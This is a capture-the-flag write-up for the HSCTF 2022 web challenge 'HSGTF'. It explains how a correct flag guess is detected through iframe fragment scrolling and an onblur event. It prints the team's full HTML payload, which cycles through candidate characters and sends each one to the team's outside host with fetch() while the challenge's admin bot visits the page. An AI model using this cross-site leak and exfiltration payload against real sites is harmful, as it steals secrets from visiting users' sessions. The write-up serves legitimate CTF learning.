ʕ·ᴥ·ʔ






HSGTF

07/08/2022

By: smashmaster and HELLOPERSON (for the memory lane trip)

Tags: web HSCTF-2022

Problem Description:

Why solve challenges when you can just guess the flag?

Hints:

Reveal Hints In iframes you control the url. What are the parts of an url.

There was a cool Angstorm CTF challenge called Sustenance. We overcomplicated our initial ideas for this because of our experience with this past problem. But while I was referencing past messages on the thread I came across a certain chain of messages.

HSGTF foreshadowed by team member

So I looked in the template and was like OMFG it has the id attributes!

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<meta http-equiv="X-UA-Compatible" content="IE=edge" />
		<title>Create Page</title>
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<link rel="stylesheet" href="/static/index.css" />
	</head>
	<body>
		
		<div id="wrong">
			<h1>Wrong!</h1>
			<p>Your guess was: ""</p>
			<a id="tryagain" href="/">Try Again</a>
		</div>
		
	</body>
</html>

So basically we can tell the difference between a correct guess and a wrong guess by navigating to an iframe with the guess and trying to scroll to the id element triggering the onblur on success

The final payload ends up being

<html>
    <head>
        <title>GET PWNED FOR REALZ</title>
    </head>
    <body onblur="fetch('https://evil.amateurs.team/' + Date.now() + '?' + window.letter  )">
        <iframe src="http://web1.hsctf.com:8001/guess?guess=nothingtoseehere" id="iframe" height="50" width="50">
        </iframe>
        <script>
            window.letter = "?"
            const charset = "}_etaoinsrhdlucmfywgpbvkxqjz"
            const soFar = "flag{guessgod_nkdtcf";
            function wait(ms){return new Promise((resolve, reject) => setTimeout(resolve, ms));}
            setTimeout(async () => {
                for(let i = 0; i < charset.length; i ++){
                    window.letter = charset[i];
                    console.log("Checking",charset[i]);
                    let url = "http://web1.hsctf.com:8001/guess?guess=" + soFar + charset[i] + "#continue";
                    iframe.src = url;
                    await wait(200);
                    
                }
            }, 20);
            console.log("Launched PWN!");
        </script>
    </body>
</html>

We hosted this page on a server controlled by us and made the admin bot navigate to it. It took approximately 1 to 3 seconds for each letter to be obtained, because we edited the soFar variable each time a letter was obtained. The flag ended with random letters so I was confused on whether my script was breaking and missing a letter but it turns out I just stopped right before the }.

Me gets spam pinged

Other noteworthy things that are relevant

We would not need ids if we could use the fancy new scroll to text fragment. Sadly google thought ahead of us and blocked this as we found in Sustenance.